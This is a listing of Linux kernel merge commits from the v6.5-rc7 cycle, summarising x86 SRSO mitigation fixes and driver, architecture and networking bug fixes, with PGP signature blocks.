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aa9ea98cca
1201719 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
Linus Torvalds
|
aa9ea98cca |
media fixes for v6.5-rc7
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Linus Torvalds
|
bf98bae3d8 |
- Use LEA ...%rsp instead of ADD %rsp in the Zen1/2 SRSO return sequence
as latter clobbers flags which interferes with fastop emulation in
KVM, leading to guests freezing during boot
- A fix for the DIV(0) quotient data leak on Zen1 to clear the divider
buffers at the right time
- Disable the SRSO mitigation on unaffected configurations as it got
enabled there unnecessarily
- Change .text section name to fix CONFIG_LTO_CLANG builds
- Improve the optprobe indirect jmp check so that certain configurations
can still be able to use optprobes at all
- A serious and good scrubbing of the untraining routines by PeterZ:
- Add proper speculation stopping traps so that objtool is happy
- Adjust objtool to handle the new thunks
- Make the thunk pointer assignable to the different untraining
sequences at runtime, thus avoiding the alternative at the return
thunk. It simplifies the code a bit too.
- Add a entry_untrain_ret() main entry point which selects the
respective untraining sequence
- Rename things so that they're more clear
- Fix stack validation with FRAME_POINTER=y builds
- Fix static call patching to handle when a JMP to the return thunk is
the last insn on the very last module memory page
- Add more documentation about what each untraining routine does and
why
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Merge tag 'x86_urgent_for_v6.5_rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip
Pull x86 fixes from Borislav Petkov:
"Extraordinary embargoed times call for extraordinary measures. That's
why this week's x86/urgent branch is larger than usual, containing all
the known fallout fixes after the SRSO mitigation got merged.
I know, it is a bit late in the game but everyone who has reported a
bug stemming from the SRSO pile, has tested that branch and has
confirmed that it fixes their bug.
Also, I've run it on every possible hardware I have and it is looking
good. It is running on this very machine while I'm typing, for 2 days
now without an issue. Famous last words...
- Use LEA ...%rsp instead of ADD %rsp in the Zen1/2 SRSO return
sequence as latter clobbers flags which interferes with fastop
emulation in KVM, leading to guests freezing during boot
- A fix for the DIV(0) quotient data leak on Zen1 to clear the
divider buffers at the right time
- Disable the SRSO mitigation on unaffected configurations as it got
enabled there unnecessarily
- Change .text section name to fix CONFIG_LTO_CLANG builds
- Improve the optprobe indirect jmp check so that certain
configurations can still be able to use optprobes at all
- A serious and good scrubbing of the untraining routines by PeterZ:
- Add proper speculation stopping traps so that objtool is happy
- Adjust objtool to handle the new thunks
- Make the thunk pointer assignable to the different untraining
sequences at runtime, thus avoiding the alternative at the
return thunk. It simplifies the code a bit too.
- Add a entry_untrain_ret() main entry point which selects the
respective untraining sequence
- Rename things so that they're more clear
- Fix stack validation with FRAME_POINTER=y builds
- Fix static call patching to handle when a JMP to the return thunk
is the last insn on the very last module memory page
- Add more documentation about what each untraining routine does and
why"
* tag 'x86_urgent_for_v6.5_rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip:
x86/srso: Correct the mitigation status when SMT is disabled
x86/static_call: Fix __static_call_fixup()
objtool/x86: Fixup frame-pointer vs rethunk
x86/srso: Explain the untraining sequences a bit more
x86/cpu/kvm: Provide UNTRAIN_RET_VM
x86/cpu: Cleanup the untrain mess
x86/cpu: Rename srso_(.*)_alias to srso_alias_\1
x86/cpu: Rename original retbleed methods
x86/cpu: Clean up SRSO return thunk mess
x86/alternative: Make custom return thunk unconditional
objtool/x86: Fix SRSO mess
x86/cpu: Fix up srso_safe_ret() and __x86_return_thunk()
x86/cpu: Fix __x86_return_thunk symbol type
x86/retpoline,kprobes: Skip optprobe check for indirect jumps with retpolines and IBT
x86/retpoline,kprobes: Fix position of thunk sections with CONFIG_LTO_CLANG
x86/srso: Disable the mitigation on unaffected configurations
x86/CPU/AMD: Fix the DIV(0) initial fix attempt
x86/retpoline: Don't clobber RFLAGS during srso_safe_ret()
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Linus Torvalds
|
4e7ffde698 |
powerpc fixes for 6.5 #6
- Fix hardened usercopy BUG when using /proc based firmware update interface. Thanks to: Nathan Lynch, Kees Cook. -----BEGIN PGP SIGNATURE----- iQJHBAABCAAxFiEEJFGtCPCthwEv2Y/bUevqPMjhpYAFAmTgYHETHG1wZUBlbGxl cm1hbi5pZC5hdQAKCRBR6+o8yOGlgEH1D/9C9c6jF5BFNmt9eApkvKO4yIY+4oRJ I7+ndtm7IM9M080gtJmZvn1P7hGY8UF0niH/8o2Q1Qg4IgwDIhPO49E5HgYbWxbo a+IoiJremW7XORSCvBObYpPy8N2twPWGNGjEGId0ahdbh/BxezB9/1GjsYlVHFgf rAnLaZtiAZPcWG1JEX1zyWXh5YN49jV1piylpxZM4EZA1ruiDbjUB0VScppcLZbq fyXIlsXJjlmNyxrjXTPtu5XQ6zZt4Me3qUgoIMniOTpDdHMBL/dVJ3IHoy4HwqBH VScDEJXBEtJxzZKcOUfZws82Xy8IFaVApUqLZNcb7zYxLh9xmSPibK+IVOiftfRP wuwbvL7UUarbRxsMoxcapCeeuWKGAMR+Nl3JyLJxhFGEDiO6qwmXXGxZvVTDYS48 s8hXpl9gT+e7csj66ZMTBqj8M+f6e50z4VbaR4bvRn/IKxxx60rkMpyeSUzK4zuB 5Ni4D7trz/W/RMQBsCjAku8MVGUIQwrVwi8zl1w7N90NKaEQZG21AN2csmdc3fSW V1EzVOX69NjQYMQIUjYuFBLOhq5SN4FNK9B83DKnJ9VFOb0o7oMd89AyCVTISpAb XoGQudE32y2dRKZKlxuvVYprm7X6JFxDnErOfn4ZUhfUTsYPssQswADY4aIRglbg juCcPY05ayydxQ== =z//y -----END PGP SIGNATURE----- Merge tag 'powerpc-6.5-6' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux Pull powerpc fix from Michael Ellerman: - Fix hardened usercopy BUG when using /proc based firmware update interface Thanks to Nathan Lynch and Kees Cook. * tag 'powerpc-6.5-6' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux: powerpc/rtas_flash: allow user copy to flash block cache objects |
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Linus Torvalds
|
d4ddefee51 |
Two more SME fixes related to ptrace(): ensure that the SME is properly
set up for the target thread and that the thread sees the ZT registers set via ptrace. -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEE5RElWfyWxS+3PLO2a9axLQDIXvEFAmTftxwACgkQa9axLQDI XvFYOg/9HlGxpKuWlaNZ9g9pUXPdmCnlqBRbHkqDtPdPwH/Gylh3P5DFcRDFWCS0 74dls3iqQ0muAeKObB4EvfGTBRngX0HhEXTVnk81JFtTchVclzYtZa1J5+wO4c2Q UK/+iwRddGqTGUNQJWG9qEkV9FoaDOmnuV1ZSUDF+AiAzQloEJlWqPxnX3b+ZX33 agoEir1i8hhtfKVReappIxZHWEcGUiBCKMFtkTACaJkGucg6uaNM7vzhjfzYlCrB 3qxEQXCgTCjWTuzhOAAKi98Q/t8KP1Hcm4WGi6yLC16hyU/P3wy7HPL5s1CowROt /Ttkv9ux9W4ZUx8qmvWwmxjtFjmQZRAvcRGZg0XqdsnKul3NUCdVnXNWp+sGS8tk HVOtzTo5WlC+YKlO5uweTXBwS/hbH5M/mZPiEv4p3jsEVHpc43EUsM8RiLQRZPv7 6fllZXoSje2Npf2evTlwQqiDrSDe2fHxCiUbQ8NpLTD+tr9M2j0xCAbVJd7qhd9i PdbLHTKFgR0ScZCDcnWSUwqCSNIFUHQNhnvLaYx5PIWchOimE4HCcQZcM9mc7643 1jwGNIE2FP/7mLwoQNr/ri3rs0eYWXTZ6QaTXUmicCZnp4IhKKxeVzTmSSH67LRK DBcMUW4FXk85Z2dBgn3KbaMkdqAHcv4SAU3CzyfgWpJlb/z7/iI= =1dyE -----END PGP SIGNATURE----- Merge tag 'arm64-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux Pull arm64 fixes from Catalin Marinas: "Two more SME fixes related to ptrace(): ensure that the SME is properly set up for the target thread and that the thread sees the ZT registers set via ptrace" * tag 'arm64-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux: arm64/ptrace: Ensure that the task sees ZT writes on first use arm64/ptrace: Ensure that SME is set up for target when writing SSVE state |
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Linus Torvalds
|
3e13eee105 |
gpio fixes for v6.5-rc6
- fix a regression in the sysfs interface - fix a reference counting bug that's been around for years - MAINTAINERS update -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEFp3rbAvDxGAT0sefEacuoBRx13IFAmTftRUACgkQEacuoBRx 13IGjhAAoYc+s0YjdKki5g3IEvo163uhophnTywxU8EL6hNCTNn8f1JCiIVVJgro VuBXywozUPsPAJ8gszEEffNpJHLiFJzK2KAmYVf8diuUDkB1G4h5nfFBftXM7z5W Yf58I48WsY/Hd4SsThvARJQ8vPVsefwDo13grNGVVBA8mRBpMT1IbidEfLZfkygR DjXUP+UUoL2l2bd8wAcvc/HAS1sL86ckq/Fh/YGDezeFo0ukr1JIJ5fLa0u+9Gxu XpW7G2NVkEP2weP4UcqRJagM6iFlLN0/w9V/pj9BXSleA8zuWIcAV4bv689ckRu2 fczMdLVMoj/H/uIFB+kRUXfTxbQH35XwlelrV9S7ih2Ku7a+Y0kJ/4FsubO69nD+ tbJ9Ur9EOXSm2cKfklsZWFhMGxXQdSo8eqAQusoBgGqbzhUmK7d2FBMUcCyRejXj qPP+7otn+GbccYrZKuOqaj1hXfVtryWLEkazVrCnXpCWolx0722loav1EWnW/CVL 6s4Lbr+SdVe715m7AyhPCHr294BTyrWik13pjCoVJqD2IAklhcJa6GdEV6pxcLmP 7zyIix/5pqk0ICtIDw2yu18UhcHhKOjRCKgeL2SxD/U0a6Cz8g65OAc6ERorarbN f7MPmB5JHP5J3fColpnb9sTLgPKcTcBfYGi3rJZD7Ni6MprIkBY= =FSvM -----END PGP SIGNATURE----- Merge tag 'gpio-fixes-for-v6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/brgl/linux Pull gpio fixes from Bartosz Golaszewski: - fix a regression in the sysfs interface - fix a reference counting bug that's been around for years - MAINTAINERS update * tag 'gpio-fixes-for-v6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/brgl/linux: gpiolib: fix reference leaks when removing GPIO chips still in use gpiolib: sysfs: Do unexport GPIO when user asks for it MAINTAINERS: add content regex for gpio-regmap |
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Linus Torvalds
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8abd7287db |
small SMB mount option fix, also for stable
-----BEGIN PGP SIGNATURE----- iQGzBAABCgAdFiEE6fsu8pdIjtWE/DpLiiy9cAdyT1EFAmTfk2wACgkQiiy9cAdy T1GisAwAobMfIbWSP3lC2TXiAjEf/4ss145H0VjqPDtIm9T1DxdVDT1YgiOi3b6r T5xl6CaVvamMbG8ZDtWDqMWA6z/7ZTTq6OIbZGBXNCaZvJTS1k32HG13IDrpLtD1 TyjXyyXi3OA6MGIiIZttA8ziJu7Osmc3OBuwoPf8eKcQilF1TiTM+rHksS1WThCB 2K+OYlOe6Fiihprqh6W3zbQl9h3+oPMHhEjEKBgiCPLDFtFpwhoUqOx6cFGNbMTn 38/hEiSG/K8kBSBgePVN1zxtTi7qPaazjTVkCKB3PjAtl0QhW6RWg3Ige5Mjg1Sk 0MLIhpcw9XqYsEIFc5yHwyCi2AxbzZ1XSnfgfJr0Jd+phW6yFoJCHojgfagGs1ez YldsPYFiSJDC+ugJUMd2KemEebO9y4qfI8Ocde2f7GJijOhQhFw5bunc5g5EtZAy tj3w0l1pmXgVsePjWurO3VvSm1/trNShOg7h0oHIVTEtHVcXAFQED1xxTdC6aQSC htPunLUN =wyXy -----END PGP SIGNATURE----- Merge tag '6.5-rc6-smb3-client-fix' of git://git.samba.org/sfrench/cifs-2.6 Pull smb client fix from Steve French: "A small SMB mount option fix, also for stable" * tag '6.5-rc6-smb3-client-fix' of git://git.samba.org/sfrench/cifs-2.6: smb: client: fix null auth |
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Linus Torvalds
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cd479d9c72 |
RISC-V Fixes for 6.5-rc7
* A fix to avoid excessive rejections from seccomp RET_ERRNO rules. * A fix for compressed jal/jalr decoding. * A pair of fixes for independent irq/softirq stacks on kernels built with CONFIG_FRAME_POINTER=n. * A fix to avoid a hang handling uaccess fixups. * Another build fix for toolchain ISA strings, this time for Zicsr and Zifenci on old GNU toolchains. -----BEGIN PGP SIGNATURE----- iQJHBAABCAAxFiEEKzw3R0RoQ7JKlDp6LhMZ81+7GIkFAmTfa34THHBhbG1lckBk YWJiZWx0LmNvbQAKCRAuExnzX7sYidwxD/9EeVWNnjAzZyz6dKtQRFe4czuQepXI 5Apcc8UKUs2vFfWybAAL8ICyzZ0ME8Vc+UfAZkFhouCBHpxMWmPDpkGiGxwKYw+E hWZeyIC8Vn/3mmdEvUVrFU37uyndhRaej6sJQb8tj2SLo4K3PvUELl6fhnSs2ESk EaSaOtTnC3DLKpJTup0jvCa1T9aGwVpEVuc7yjARiAxAquxH5ky6N5/l3gCGTQzJ Yph/llxhwmR83zwqto5kHS9nCWi6noammBCYl+Kbb7jMg6UMMBK6T3Dube5rvyqd 7ZEQNWAQ2RDs5pQJklutYjSCE+5LjONMX7IlrBR3plAMfXiLx+K3FhuMizHKD0YZ EIQ1QtsEuu6xPPZXig4KViEp75fRGnV6xJApAE0o0fUCJ7r77vddUJQDQdN3HhGe qfo8sEub8eWZ/IklkVhr6zsZAqMx6srb9r+T/iT+9KW9HKDNfNdEHc8FLuMjzm+C tIrrcZE40N7d37KVB/myWeDBrYAx6Bd6YaJOnuAR8H2t1dSj9rvxi7XFHfVdyRTs SUBQ0BCdMV+1UYmU1qtqWpti06nepeY3EMm4JLUFvKP+7jHBEcEwoye6/hGiTu7d rNsh6kB1Qq29JNQSn5HsOl89QRfz7orRGVZhTW9clhxrgV9fmy+pW9UG564NSSKI tBQGCt7OvXVMsQ== =LtPj -----END PGP SIGNATURE----- Merge tag 'riscv-for-linus-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/riscv/linux Pull RISC-V fixes from Palmer Dabbelt: - avoid excessive rejections from seccomp RET_ERRNO rules - compressed jal/jalr decoding fix - fixes for independent irq/softirq stacks on kernels built with CONFIG_FRAME_POINTER=n - avoid a hang handling uaccess fixups - another build fix for toolchain ISA strings, this time for Zicsr and Zifenci on old GNU toolchains * tag 'riscv-for-linus-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/riscv/linux: riscv: Handle zicsr/zifencei issue between gcc and binutils riscv: uaccess: Return the number of bytes effectively not copied riscv: stack: Fixup independent softirq stack for CONFIG_FRAME_POINTER=n riscv: stack: Fixup independent irq stack for CONFIG_FRAME_POINTER=n riscv: correct riscv_insn_is_c_jr() and riscv_insn_is_c_jalr() riscv: entry: set a0 = -ENOSYS only when syscall != -1 |
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Linus Torvalds
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ce03e1807c |
sound fixes for 6.5-rc7
Slightly bigger than I wished, but here we go, a collection of fixes for 6.5. The only change in the core side is the ease for repeated ASoC error messages, and the rest are all pretty device-specific small fixes (including regression fixes) for ASoC Intel and HD-audio / USB-audio quirks. -----BEGIN PGP SIGNATURE----- iQJCBAABCAAsFiEEIXTw5fNLNI7mMiVaLtJE4w1nLE8FAmTeNSQOHHRpd2FpQHN1 c2UuZGUACgkQLtJE4w1nLE84fg//fxij0/hGOgQIIisCxaDoWDL5i/n4x0U6mjbu Z0IVHIYy2A55ZWi5xVG1g0DFIe2zlU5hhpB4YKyod9PEXSS9jYKg3BNbDY5kAexn 9+jBOUr2c2rKY9SpN9kpX9Lu89mIuQC+xtmlxwkm8+q6YVoYUHkFy0J6KfJ8x2JQ tmViD0cH5T390M+jmXMbYgSkzMCylZ2SPXh7dDbPk+oD61Zco7oWIbdKGkTL2qZC 60/igB7N9sVL9ni6yFMHWL/IZ+qQhin+HPbNWT2d6nP45bWquTedxlxNpbYRbLng pnz7aJ7g+l2honVZGObGNfjMNOZeG1uQi4l5gTBtLKdk5oxHmTItWcyZ92Rps1wT 1KIYApi/X9j1aVKqjD51KzPDaQIC66WQU5LA5N2TKHujWKrEl5crLcR6gc/Uqbvt hMnvYZctkicsEuUuOhsBmBn9/ye5+DDwg5EEr7p5gkvvJi+StxA1N7zGwWPLnNX6 Nhnvo9c8GlEa7QHHlO7LzTWQbpkgCOiSKFvWoNoQAgrOwzkMARfFxjFjVuvQsgXx y5DUXsw9+k8v/ITWalulPK9VtzaY7OQK6tMlonxMuWcPGmO7a+0S7MHiQcuI+45f wXMVaC5V48s95CiFn516UsoktY1foztr4UMDSOHBkS9Ap4g5BoxUiyL95lxOena0 5kYgmRE= =DE5T -----END PGP SIGNATURE----- Merge tag 'sound-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound Pull sound fixes from Takashi Iwai: "Slightly bigger than I wished, but here we go, a collection of fixes for 6.5. The only change in the core side is the ease for repeated ASoC error messages, and the rest are all pretty device-specific small fixes (including regression fixes) for ASoC Intel and HD-audio / USB-audio quirks" * tag 'sound-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound: ALSA: hda/realtek - Remodified 3k pull low procedure ASoC: rt1308-sdw: fix random louder sound ALSA: hda/cs8409: Support new Dell Dolphin Variants ALSA: hda/realtek: Switch Dell Oasis models to use SPI ALSA: hda/realtek: Add quirks for HP G11 Laptops ASoC: meson: axg-tdm-formatter: fix channel slot allocation ASoC: SOF: ipc4-topology: Update the basecfg for copier earlier ASoC: SOF: intel: hda: Clean up link DMA for IPC3 during stop ASoC: Intel: sof-sdw-cs42142: fix for codec button mapping ASoC: Intel: sof-sdw: update jack detection quirk for LunarLake RVP ASoC: SOF: Fix incorrect use of sizeof in sof_ipc3_do_rx_work() ASoC: lower "no backend DAIs enabled for ... Port" log severity ASoC: rt5665: add missed regulator_bulk_disable ASoC: max98363: don't return on success reading revision ID ALSA: usb-audio: Add support for Mythware XA001AU capture and playback interfaces. ASoC: fsl: micfil: Use dual license micfil code |
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Linus Torvalds
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88d4a1643a |
MMC core:
- Fix in_flight[issue_type] value error to properly manage requests MMC host: - wbsd: Fix double free in the probe error path - sunplus: Fix error path in probe - sdhci_f_sdh30: Fix order of function calls in sdhci_f_sdh30_remove -----BEGIN PGP SIGNATURE----- iQJLBAABCgA1FiEEugLDXPmKSktSkQsV/iaEJXNYjCkFAmTfOOEXHHVsZi5oYW5z c29uQGxpbmFyby5vcmcACgkQ/iaEJXNYjCkyzA//eUNFzMBspkQbom/amwAJXH7p jx05JOMQE1D2WBkvNvMWEpvJgN4J0Z0rP/tQnJ1+1XR2U/QTWTFf3RWf85vwllFW n95ZLJJfX5Vjihi4MlX+je2s8rip2GYucmJjis1853sY1CTNfuEhuzg27X8KMNp2 tL65caTCai9t6oBCMadODcS3F4m3fdIPuauuB4Cll34aS0YZk0hmYQfCTmpsfpSh IY2t+gnHsa1jUkGkZfcUivhmQ2Pmt2PoVvZwamVG9OMw3GCadYhIw/qLHKHvVJXg 51pE6dXgBAxa10scjurOKv/aKaB+PBikSt/A6KRQ1ROoP06Cq7E+VY7R73G6jEOP mBwjIq8id09dZA6mRHsbUqkOMk2YB5lYAdX/7MVzo6/JW+dAEQ8oU7vV5A529nni b8N6JWRby5aRO3O7wziIjvx0/+8vXG1Siud3Ec/MvIRqsUK8HoMs55bdepwhuOcs F6QHTPmky5i8/4wNcHExnnfZbI+wJeWE0t7Ku2ZrzKb0XMVOkLB8dmy7NKIRHRPS mZTFiGaFcvAyodQ6gTCPeqXclKEUq0XdNM9deU3Zln1KjLCogjh4vSGLAWecbfkq ld5mVgSWexbXnZ32E0Zd2ouCbaWW3P4YAH405T5rD1a9Zm82eTwjh0JltvBqB4bu fqorLOLT6D4gWHKtL2Y= =QVs8 -----END PGP SIGNATURE----- Merge tag 'mmc-v6.5-rc1-2' of git://git.kernel.org/pub/scm/linux/kernel/git/ulfh/mmc Pull MMC fixes from Ulf Hansson: "MMC core: - Fix in_flight[issue_type] value error to properly manage requests MMC host: - wbsd: Fix double free in the probe error path - sunplus: Fix error path in probe - sdhci_f_sdh30: Fix order of function calls in sdhci_f_sdh30_remove" * tag 'mmc-v6.5-rc1-2' of git://git.kernel.org/pub/scm/linux/kernel/git/ulfh/mmc: mmc: f-sdh30: fix order of function calls in sdhci_f_sdh30_remove mmc: sunplus: Fix error handling in spmmc_drv_probe() mmc: sunplus: fix return value check of mmc_add_host() mmc: wbsd: fix double mmc_free_host() in wbsd_init() mmc: block: Fix in_flight[issue_type] value error |
||
|
Linus Torvalds
|
f33fd7eb20 |
Some pin control fixes for v6.5, fixes two issues with the
Qualcomm SA8775P platform:
- Some minor device tree binding flunky that is nice to iron
out but more importantly:
- Support the increased interrupt targets mask from 3 to 4
bits, making interrupts with higher (hardware) numbers
work.
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Merge tag 'pinctrl-v6.5-3' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-pinctrl
Pull pin control fixes from Linus Walleij:
"Fixes two issues with the Qualcomm SA8775P platform:
- Some minor device tree binding flunky that is nice to iron out but
more importantly:
- Support the increased interrupt targets mask from 3 to 4 bits,
making interrupts with higher (hardware) numbers work"
* tag 'pinctrl-v6.5-3' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-pinctrl:
pinctrl: qcom: Add intr_target_width field to support increased number of interrupt targets
dt-bindings: pinctrl: qcom,sa8775p-tlmm: add gpio function constant
|
||
|
Linus Torvalds
|
80706f5529 |
ARM: SoC fixes for 6.5, part 3
As usual, mostly DT fixes for the major Arm platforms from Qualcomm and
NXP, plus a bit for Rockchips and others:
The qualcomm fixes mainly deal with their higher-end arm64 devices trees,
fixing issues in L3 interconnect, crypto, thermal, UFS and a regression
for the DSI phy.
NXP i.MX has two correctness fixes for the 64-bit chips, dealing with
the imx93 "anatop" module and the CSI interface. On the 32-bit side,
there are functional fixes for RTC, display and SD card intefaces.
Rockchip fixes are for wifi support on certain boards, a eMMC stability
and DT build warnings.
On TI OMAP, a regulator is described in DT to avoid problems with the
ethernet phy initialization.
The code changes include a missing MMIO serialization on OMAP, plus a
few minor fixes on ASpeed and AMD/Zynq chips.
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Merge tag 'soc-fixes-6.5-3' of git://git.kernel.org/pub/scm/linux/kernel/git/soc/soc
Pull ARM SoC fixes from Arnd Bergmann:
"As usual, mostly DT fixes for the major Arm platforms from Qualcomm
and NXP, plus a bit for Rockchips and others:
The qualcomm fixes mainly deal with their higher-end arm64 devices
trees, fixing issues in L3 interconnect, crypto, thermal, UFS and a
regression for the DSI phy.
NXP i.MX has two correctness fixes for the 64-bit chips, dealing with
the imx93 "anatop" module and the CSI interface. On the 32-bit side,
there are functional fixes for RTC, display and SD card intefaces.
Rockchip fixes are for wifi support on certain boards, a eMMC
stability and DT build warnings.
On TI OMAP, a regulator is described in DT to avoid problems with the
ethernet phy initialization.
The code changes include a missing MMIO serialization on OMAP, plus a
few minor fixes on ASpeed and AMD/Zynq chips"
* tag 'soc-fixes-6.5-3' of git://git.kernel.org/pub/scm/linux/kernel/git/soc/soc: (30 commits)
ARM: dts: am335x-bone-common: Add vcc-supply for on-board eeprom
ARM: dts: am335x-bone-common: Add GPIO PHY reset on revision C3 board
soc: aspeed: socinfo: Add kfree for kstrdup
soc: aspeed: uart-routing: Use __sysfs_match_string
ARM: dts: integrator: fix PCI bus dtc warnings
arm64: dts: imx93: Fix anatop node size
arm64: dts: qcom: sc7180: Fix DSI0_PHY reg-names
ARM: dts: imx: Set default tuning step for imx6sx usdhc
arm64: dts: imx8mm: Drop CSI1 PHY reference clock configuration
arm64: dts: imx8mn: Drop CSI1 PHY reference clock configuration
ARM: dts: imx: Set default tuning step for imx7d usdhc
ARM: dts: imx6: phytec: fix RTC interrupt level
ARM: dts: imx6sx: Remove LDB endpoint
arm64: dts: rockchip: Fix Wifi/Bluetooth on ROCK Pi 4 boards
ARM: zynq: Explicitly include correct DT includes
arm64: dts: qcom: sa8775p-ride: Update L4C parameters
arm64: dts: rockchip: minor whitespace cleanup around '='
arm64: dts: rockchip: Disable HS400 for eMMC on ROCK 4C+
arm64: dts: rockchip: Disable HS400 for eMMC on ROCK Pi 4
arm64: dts: rockchip: add missing space before { on indiedroid nova
...
|
||
|
Linus Torvalds
|
eabeef9054 |
asm-generic: regression fix for 6.5
Just one partial revert for a commit from the merge window that caused annoying behavior when building old kernels on arm64 hosts. -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEiK/NIGsWEZVxh/FrYKtH/8kJUicFAmTe0Z8ACgkQYKtH/8kJ UidZGQ/9GFtIHh9QK6XPlAlx3oC6HdFUrOqDwoueNd4sFk9nNAuW+Z/a0YX8DtnQ /SrJPiCtoPPNCMNlxk7ZDx+ra0Tu+iC7rAvRnogKSV8qB35jNLIqhEde2opCa2Dx sfmvtP0hr5c+b8UP9IN2U11WvJhv1yjldHtCKAjSf9zMtwPQjQvAIx1kzSlC57kE zjsKVTB3yXUddhYGR7639RT7/1K25BVcG6kfKIEN/uPm+M/ljk58EJhUhSeEEfBf NmtlhxWzJBySOTk5mjEVUsTAPrAckPI3Vh4sf0qd4rXe4Q+XX9Jvur9kPOoF8lQF GO+WXrmooaEir3+1+w4PB9xXgZD26Iz018xdhcigLgEGefieM1JpvwJa8NarK8UK iLg2+sBvCAJPJQ44E4r1hWf8ZFolEhwzg703/fGIjDPMQnhHNay4i73NyCw4ii2c F+iCFhea5AKz+d5qQuaZmg7klY/4cBIKDVY/EsO4lmK0187eq3zZKJSMLD21+NLy kr63OAV8yXbduLsIOjvR3KrbSvMq+9vasEX4zUGlzA+VR1l+MqtwJI13EPyqhubJ kQQi6PUe/353ECdzwk5IAqMbGP7qhkOuv89+Ff9mPTlKAwDPwdZjbnsz5I5peskB zVBO366Z0w3o2ENv9i4UEa+TtaCMIbLWdXJxPufwoqPHX3v7nUM= =tTzL -----END PGP SIGNATURE----- Merge tag 'asm-generic-fix-6.5' of git://git.kernel.org/pub/scm/linux/kernel/git/arnd/asm-generic Pull asm-generic regression fix from Arnd Bergmann: "Just one partial revert for a commit from the merge window that caused annoying behavior when building old kernels on arm64 hosts" * tag 'asm-generic-fix-6.5' of git://git.kernel.org/pub/scm/linux/kernel/git/arnd/asm-generic: asm-generic: partially revert "Unify uapi bitsperlong.h for arm64, riscv and loongarch" |
||
|
Borislav Petkov (AMD)
|
6405b72e8d |
x86/srso: Correct the mitigation status when SMT is disabled
Specify how is SRSO mitigated when SMT is disabled. Also, correct the
SMT check for that.
Fixes:
|
||
|
Linus Torvalds
|
0e8860d212 |
Including fixes from ipsec and netfilter.
No known outstanding regressions.
Fixes to fixes:
- virtio-net: set queues after driver_ok, avoid a potential race
added by recent fix
- Revert "vlan: Fix VLAN 0 memory leak", it may lead to a warning
when VLAN 0 is registered explicitly
- nf_tables:
- fix false-positive lockdep splat in recent fixes
- don't fail inserts if duplicate has expired (fix test failures)
- fix races between garbage collection and netns dismantle
Current release - new code bugs:
- mlx5: Fix mlx5_cmd_update_root_ft() error flow
Previous releases - regressions:
- phy: fix IRQ-based wake-on-lan over hibernate / power off
Previous releases - always broken:
- sock: fix misuse of sk_under_memory_pressure() preventing system
from exiting global TCP memory pressure if a single cgroup is under
pressure
- fix the RTO timer retransmitting skb every 1ms if linear option
is enabled
- af_key: fix sadb_x_filter validation, amment netlink policy
- ipsec: fix slab-use-after-free in decode_session6()
- macb: in ZynqMP resume always configure PS GTR for non-wakeup source
Misc:
- netfilter: set default timeout to 3 secs for sctp shutdown send and
recv state (from 300ms), align with protocol timers
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
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Merge tag 'net-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/netdev/net
Pull networking fixes from Jakub Kicinski:
"Including fixes from ipsec and netfilter.
No known outstanding regressions.
Fixes to fixes:
- virtio-net: set queues after driver_ok, avoid a potential race
added by recent fix
- Revert "vlan: Fix VLAN 0 memory leak", it may lead to a warning
when VLAN 0 is registered explicitly
- nf_tables:
- fix false-positive lockdep splat in recent fixes
- don't fail inserts if duplicate has expired (fix test failures)
- fix races between garbage collection and netns dismantle
Current release - new code bugs:
- mlx5: Fix mlx5_cmd_update_root_ft() error flow
Previous releases - regressions:
- phy: fix IRQ-based wake-on-lan over hibernate / power off
Previous releases - always broken:
- sock: fix misuse of sk_under_memory_pressure() preventing system
from exiting global TCP memory pressure if a single cgroup is under
pressure
- fix the RTO timer retransmitting skb every 1ms if linear option is
enabled
- af_key: fix sadb_x_filter validation, amment netlink policy
- ipsec: fix slab-use-after-free in decode_session6()
- macb: in ZynqMP resume always configure PS GTR for non-wakeup
source
Misc:
- netfilter: set default timeout to 3 secs for sctp shutdown send and
recv state (from 300ms), align with protocol timers"
* tag 'net-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/netdev/net: (49 commits)
ice: Block switchdev mode when ADQ is active and vice versa
qede: fix firmware halt over suspend and resume
net: do not allow gso_size to be set to GSO_BY_FRAGS
sock: Fix misuse of sk_under_memory_pressure()
sfc: don't fail probe if MAE/TC setup fails
sfc: don't unregister flow_indr if it was never registered
net: dsa: mv88e6xxx: Wait for EEPROM done before HW reset
net/mlx5: Fix mlx5_cmd_update_root_ft() error flow
net/mlx5e: XDP, Fix fifo overrun on XDP_REDIRECT
i40e: fix misleading debug logs
iavf: fix FDIR rule fields masks validation
ipv6: fix indentation of a config attribute
mailmap: add entries for Simon Horman
broadcom: b44: Use b44_writephy() return value
net: openvswitch: reject negative ifindex
team: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves
net: phy: broadcom: stub c45 read/write for 54810
netfilter: nft_dynset: disallow object maps
netfilter: nf_tables: GC transaction race with netns dismantle
netfilter: nf_tables: fix GC transaction races with netns and netlink event exit path
...
|
||
|
Linus Torvalds
|
1ada9c0740 |
drm fixes for 6.5-rc7
